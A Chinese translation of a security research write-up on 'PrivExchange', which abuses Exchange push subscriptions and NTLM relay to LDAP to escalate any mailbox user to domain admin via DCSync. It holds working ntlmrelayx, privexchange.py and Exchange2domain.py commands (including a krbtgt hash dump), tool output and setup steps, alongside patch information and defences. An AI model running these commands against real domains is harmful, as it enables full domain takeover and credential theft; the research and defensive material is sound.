0x00 前言

在大多数的Active Directory和Exchange中,Exchange服务器具有很高的权限,即Exchange服务器上的管理员可以很容易地将权限提升到域管理员权限,我在zdi网站上看到了一篇博文,其中详细介绍了一种让Exchange通过HTTP使用NTLM对攻击者进行身份验证的方法。这可以与NTLM中继相结合,从拥有邮箱的任何用户可以提权到域管理员权限,在我见过的使用Exchange的企业组织中,可能有90%的企业组织使用邮箱将用户可升级到域管理员权限,默认情况下,此攻击是可能的,可以应用防御措施来阻止此权限的提升。文本详细介绍了这次攻击和一些更技术的细节和防御措施,以及为这次攻击写了一个验证工具,我将其称为“PrivExchange”。(已对PrivExchange进行打了补丁也可用,请参阅“已发布的更新”部分)

0x01 以新方法利用已知漏洞

本文将一些已知的漏洞和已知的协议漏洞合并成一个新的攻击。有三个模块组合在一起,可从有邮箱的任何用户提权到域管理员访问权限:

·默认情况下,Exchange Server拥有高权限

·NTLM身份验证容易受到中继

·Exchange具有一项功能,即可以使用Exchange服务器的计算机帐户对攻击者进行身份验证

1.Exchange和高权限

这里的主要漏洞是Exchange在Active Directory域中具有高权限。Exchange Windows权限组对Active Directory中的域对象具有writedacl访问权限,该对象允许该组的任何成员修改域权限,其中包括执行dcsync操作的权限。具有此权限的用户或计算机可以执行通常由域控制器用于复制的同步操作,从而允许攻击者同步Active Directory中用户的所有哈希密码。这已经被一些研究人员所发现(参见本文末尾的参考文献部分),去年我和我的Fox-IT同事Rindert一起写过一篇博文。在那篇文章中,我还发布了对ntlmrelayx的更新,这增加了在NTLM中继时执行这些基于访问控制列表(ACL)的攻击的可能性。

2.NTLM中继计算机帐户

NTLM中继已经存在一段时间了。以前,主要关注的是通过SMB中继NTLM身份验证,以便在其他主机上执行代码。不幸的是,在许多公司网络中,这仍然是存在的,这些网络没有通过启用SMB签名来加固,其他协议也容易受到中继。在我看来,最有趣的协议是LDAP,它可以用来读取和修改(Active)目录中的对象。如果你需要了解关于NTLM中继的更新信息,你可以在我不久前写的一篇博客中查找到它。简而言之是,除非应用了防御措施,则可以通过Windows(当自动时)将攻击者的计算机连接到网络中的其他计算机时执行(自动)身份验证,如下图所示:

滥用exchage远程调用域管理员API接口-LMLPHP

当身份验证到中继LDAP时,可以修改目录中的对象以授予攻击者权限,包括DCSync操作所需的权限。因此,如果我们可以让Exchange服务器通过NTLM身份验证向我们进行身份验证,我们就可以执行ACL攻击。应该注意的是,仅当受害者通过HTTP而不是通过SMB对我们进行身份验证时,才能中继到LDAP。

3.Exchange进行身份验证

到目前为止唯一缺少的组件是一种简单的方法,可以让Exchange对我们进行身份验证。ZDI的一位研究人员(在他们的文章中未透露姓名)发现,通过Exchange pushsubscription特性,可以让Exchange通过HTTP对任意URL进行身份验证。在他们的博客文章中,他们使用此漏洞将NTLM身份验证中继到Exchange(这称为反射攻击)并模拟其他用户。如果我们将此与默认情况下Exchange具有的高权限相结合并执行中继攻击而不是反射攻击,那么我们可以使用这些权限为自己授予DCSync权限。推送通知服务有一个选项,即每隔X分钟发送一条消息(攻击者可以指定X),即使没有发生任何事件。即使收件箱中没有活动,这也可确保Exchange连接到我们。

0x02 执行权限提升攻击

下面显示了上述攻击的示意图,显示了提升权限所执行的步骤:

 滥用exchage远程调用域管理员API接口-LMLPHP

我们需要两个工具来执行攻击:privaexchange.py和ntlmrelayx。您可以在GitHub上同时获得PrivExchangeimpacket库。以域控制器上的LDAP作为目标,在中继模式下启动Ntlmrelayx,并提供受攻击者控制的用户以进行权限提升(在本例中为NTU用户)

ntlmrelayx.py  -t   ldap://s2016dc.testsegment.local   --escalate-user  ntu

现在我们运行priveexchange.py脚本:

user@localhost:~/exchpoc$ python privexchange.py -ah dev.testsegment.local s2012exc.testsegment.local -u ntu -d testsegment.local
Password:
INFO: Using attacker URL: http://dev.testsegment.local/privexchange/
INFO: Exchange returned HTTP status - authentication was OK
ERROR: The user you authenticated with does not have a mailbox associated. Try a different user.

当与没有邮箱的用户一起运行时,我们将得到上述错误。让我们再次尝试与有邮箱关联的用户:

user@localhost:~/exchpoc$ python privexchange.py -ah dev.testsegment.local s2012exc.testsegment.local -u testuser -d testsegment.local
Password:
INFO: Using attacker URL: http://dev.testsegment.local/privexchange/
INFO: Exchange returned HTTP status - authentication was OK
INFO: API call was successful

一分钟后(这是为推送通知提供的值),我们看到ntlmrelayx的连接,它为我们的用户提供DCSync权限:

滥用exchage远程调用域管理员API接口-LMLPHP

我们使用secretsdump确认DCSync可以导出其hash值

滥用exchage远程调用域管理员API接口-LMLPHP

使用所有Active Directory用户的所有哈希密码,攻击者可以创建黄金票据来模拟任何用户,或使用任何用户密码哈希对任何接受域中的NTLM或Kerberos身份验证的服务进行身份验证。

0x03 中继到LDAP和签名攻击

我在之前提到过从smb到ldap的中继不起作用,这也是为什么不能使用例如最近发布的滥用SpoolService RPC来执行此攻击的原因(因为这是通过smb进行身份验证)。由于有关这方面的问题不断出现,并且对此有很多疑惑,让我们来看看为什么会这样。如果您不想深入了解NTLM身份验证,请跳过本节:)

SMB和HTTP中的NTLM身份验证之间的区别在于默认协商的标识。有问题的部分是NTLMSSP_NEGOTIATE_SIGN flag(0x00000010),记录在MS-NLMP第2.2.2.5节中。默认情况下,HTTP上的NTLM身份验证不会设置此标识,但如果在SMB上使用此标识,则默认情况下将设置此标识:

滥用exchage远程调用域管理员API接口-LMLPHP

当我们将其中继到LDAP时,身份验证将成功,但LDAP将使用所有从密码派生的会话密钥(在中继攻击中我们没有此密钥)对所有消息进行签名。因此,它将忽略没有签名的任何消息,从而导致我们的攻击失败。有人可能想知道是否有可能在传输过程中修改这些标识,这样签名就不会被协商。这在Windows的当前版本中不起作用,因为它们默认包含MIC(消息完整性检查),它是基于所有3个NTLM消息的签名,因此任何消息中的任何修改都将使其无效。

滥用exchage远程调用域管理员API接口-LMLPHP

我们可以删除MIC吗?是的,我们可以,因为它不在NTLM消息的受保护范围内。然而,在NTLM身份验证(仅限NTLMv2)中有一个最后的保护可以防止这种情况:在NTLMv2响应的处,它本身有受害者的密码签名,有一个AV_PAIR被调用的结构,成为MsvAvFlags。当此字段的值为0x002时,表示客户端发送了MIC以及类型3消息。

滥用exchage远程调用域管理员API接口-LMLPHP

修改NTLMv2响应将使身份验证无效,因此我们无法删除此标识字段。标识字段表示计算机中包含MIC,这将使目标服务器验证MIC,进而验证所有3条消息在传输过程中未被修改,因此我们无法删除签名标识。

这适用于(我认为)只有Microsoft下的NTLM。实现NTLM的自定义很可能不会降低添加MIC和AV_PAIR标识的等级,这使得它们容易受到标识修改的影响,从而使SMB-> LDAP中继成功的可能。这方面的一个例子是以Java实现的NTLM攻击,它可以在传输过程中进行修改以绕过安全防御措施。

0x04 在没有任何凭据的情况下执行攻击

在上一节中,我们使用泄露的凭证来执行攻击的第一步。如果攻击者只能执行网络攻击,但没有任何凭据,则仍可以触发Exchange进行身份验证。如果我们执行SMB-to-HTTP(或HTTP-to-HTTP)中继(使用llmnr/nbns/mitm6欺骗),我们可以将同一网段中用户的身份验证中继到Exchange EWS并使用其凭据触发回调(感谢Mark标记提出此问题!).我已对httpattack.py进行了一个小的修改,您可以使用Ntlmrelayx执行攻击,而不需要任何凭据(您只需要修改攻击者主机,因为它在文件中是已预编译的)

滥用exchage远程调用域管理员API接口-LMLPHP

0x05 工具使用说明

1.工具和受影响的版本

可以在https://github.com/dirkjanm/PrivExchange上找到验证工具。在以下Exchange / Windows版本上进行了测试::

·Server 2012R2上的Exchange 2013(CU21),中继到Server 2016 DC(已完全修补)

·Server 2016上的Exchange 2016(CU11),中继到Server  2019 DC(已完全修补)

·Server  2019上的Exchange 2019,中继到Server  2019 DC(感谢@gentilkiwi进行测试,已完全修补)

上面的Exchange服务器是使用共享权限模式(这是默认模式)安装的,但是根据这种写入操作,RBAC拆分权限部署也很容易受到攻击(我没有亲自测试过)。

Exchange 2010 SP3似乎不受影响,在我的实验室中,此版本协商了类似于上文所述的SMB的签名,从而中断了中继(感谢@lean0x2f提出此问题)。14.3.435.0版(编写本文时的最新更新)和14.3.123.4版都显示了这种结论。

发布更新:

在2019年2月12日,Microsoft发布了Exchange更新,通过在发送通知时删除自动身份验证Exchange来解决这些问题。这涉及以下Exchange版本:

·Exchange Server 2019更新版本

·Exchange Server 2016更新版本12

·Exchange Server 2013更新版本22

·Exchange Server 2010 Service Pack 3更新汇总26

此外,需要检查了Exchange所需的权限,并决定减少这些权限,以便Exchange在AD中不再具有过高的AD权限。对于现有的Exchange安装,需要从更新的安装程序再次运行setup.exe/preparead,否则将不会删除这些权限。对于Exchange 2010,必须手动删除权限,可以在KB4490059中获得相关说明

有关此修补程序的详细信息,请参阅Microsoft Exchange博客

2.PrivExchange使用

2.1 安装要求

这些工具需要打包。您可以使用命令pip install impacket进行安装,但建议使用github的最新版本。

2.2 privexchange.py

此工具只需登录Exchange Web服务即可订阅推送通知信息。这将使Exchange重新连接到服务器,并作为系统登录进行身份验证2.3 httpattack.py

攻击模块,可与ntlmrelayx.py一起使用,在没有凭据的情况下执行攻击。要使其正常运行:

  • 修改httpattack.py中的攻击者URL,以指向将运行ntlmrelayx的攻击者服务器
  • 从GitHub克隆 git clone https://github.com/SecureAuthCorp/impacket
  • 将此文件复制到/impacket/impacket/examples/ntlmrelayx/attacks/目录中
  • cd impacket
  • 用命令pip install . --upgrade 安装更新或用命令pip install -e .   安装修改后的impacket版本

3.Exchange2domain---简化版使用

一个简化的privexchange利用工具。您只需打开Web服务器端口,因此不需要高权限。

3.1 安装要求

这些工具需要打包。您可以使用命令pip install impacket进行安装(https://github.com/Ridter/Exchange2domain)

3.2  用法
usage: Exchange2domain.py [-h] [-u USERNAME] [-d DOMAIN] [-p PASSWORD]
[--hashes HASHES] [--no-ssl]
[--exchange-port EXCHANGE_PORT] -ah ATTACKER_HOST
[-ap ATTACKER_PORT] -th TARGET_HOST
[-exec-method [{smbexec,wmiexec,mmcexec}]]
[--exchange-version EXCHANGE_VERSION]
[--attacker-page ATTACKER_PAGE]
[--just-dc-user USERNAME] [--debug]
HOSTNAME Exchange your privileges for Domain Admin privs by abusing Exchange. Use me
with ntlmrelayx positional arguments:
HOSTNAME Hostname/ip of the Exchange server optional arguments:
-h, --help show this help message and exit
-u USERNAME, --user USERNAME
username for authentication
-d DOMAIN, --domain DOMAIN
domain the user is in (FQDN or NETBIOS domain name)
-p PASSWORD, --password PASSWORD
Password for authentication, will prompt if not
specified and no NT:NTLM hashes are supplied
--hashes HASHES LM:NLTM hashes
--no-ssl Don't use HTTPS (connects on port 80)
--exchange-port EXCHANGE_PORT
Alternative EWS port (default: 443 or 80)
-ah ATTACKER_HOST, --attacker-host ATTACKER_HOST
Attacker hostname or IP
-ap ATTACKER_PORT, --attacker-port ATTACKER_PORT
Port on which the relay attack runs (default: 80)
-th TARGET_HOST, --target-host TARGET_HOST
Hostname or IP of the DC
-exec-method [{smbexec,wmiexec,mmcexec}]
Remote exec method to use at target (only when using
-use-vss). Default: smbexec
--exchange-version EXCHANGE_VERSION
Exchange version of the target (default: Exchange2013,
choices:Exchange2010,Exchange2010_SP1,Exchange2010_SP2
,Exchange2013,Exchange2013_SP1,Exchange2016)
--attacker-page ATTACKER_PAGE
Page to request on attacker server (default:
/privexchange/)
--just-dc-user USERNAME
Extract only NTDS.DIT data for the user specified.
Only available for DRSUAPI approach.
--debug Enable debug output

例如:

python Exchange2domain.py -ah attackterip   -ap listenport -u user -p password -d domain.com -th DCip MailServerip 

如果您只想转储krbtgt,请使用--just-dc-user:

python Exchange2domain.py -ah attackterip -u user -p password -d domain.com -th DCip  --just-dc-user krbtgt MailServerip

0x06  防御措施

在之前的博客中,我已经强调了针对NTLM中继的几种防御方法,特别是针对中继到LDAP的防御。

适用于此攻击的最重要防御措施是:

·从已打补丁的Exchange CU中执行setup.exe/preparead,删除Exchange对域对象不必要的高权限(有关详细信息,请参阅下文)

·启用LDAP签名并启用LDAP通道绑定,以阻止分别中继到LDAP和LDAPS

·阻止Exchange服务器与任意端口上的客服端建立连接。

·在IIS中的Exchange端点上启用身份验证的扩展保护(但不是Exchange后端端点,将中断Exchange)。这将验证NTLM身份验证中的通道绑定参数,该参数将NTLM身份验证绑定到一个TLS连接,并阻止中继到Exchange Web服务。

·删除注册表项,这样可以将中继返回到Exchange服务器,如微软防御CVE-2018-8518中所述

·在Exchange服务器上执行SMB签名(最好是域中的所有其他服务器和工作站),以防止对SMB的跨协议中继。

·如果未使用EWS推/接收订阅,可以通过使用限制策略将EWSMaxSubscriptions设置为0来禁用它们,如@gentilkiwi 在此处所发现的那样。我还没有测试过合法应用程序使用了多少这样应用程序,因此建议使用较小的用户范围对其进行测试。

0x07  参考文献

https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/

https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/

https://github.com/SecureAuthCorp/impacket

https://www.fox-it.com/en/insights/blogs/blog/inside-windows-network/

https://www.thezdi.com/blog/2018/12/19/an-insincere-form-of-flattery-impersonating-users-on-microsoft-exchange

https://github.com/dirkjanm/privexchange/

https://github.com/leechristensen/SpoolSample/

https://conference.hitb.org/hitbsecconf2018dxb/materials/D2T2%20-%20NTLM%20Relay%20Is%20Dead%20Long%20Live%20NTLM%20Relay%20-%20Jianing%20Wang%20and%20Junyu%20Zhou.pdf

https://github.com/SecureAuthCorp/impacket/issues/451

https://www.zerodayinitiative.com/blog/2018/12/19/an-insincere-form-of-flattery-impersonating-users-on-microsoft-exchange

https://github.com/SecureAuthCorp/impacket/pull/500

https://www.slideshare.net/DirkjanMollema/aclpwn-active-directory-acl-exploitation-with-bloodhound

https://diablohorn.com/2018/08/25/remote-ntlm-relaying-through-meterpreter-on-windows-port-445/

https://www.secureauth.com/blog/playing-relayed-credentials

https://github.com/gdedrouas/Exchange-AD-Privesc/blob/master/DomainObject/DomainObject.md

https://support.microsoft.com/en-us/help/4490059/using-shared-permissions-model-to-run-exchange-server

https://techcommunity.microsoft.com/t5/Exchange-Team-Blog/Released-February-2019-Quarterly-Exchange-Updates/ba-p/609061

05-11 22:22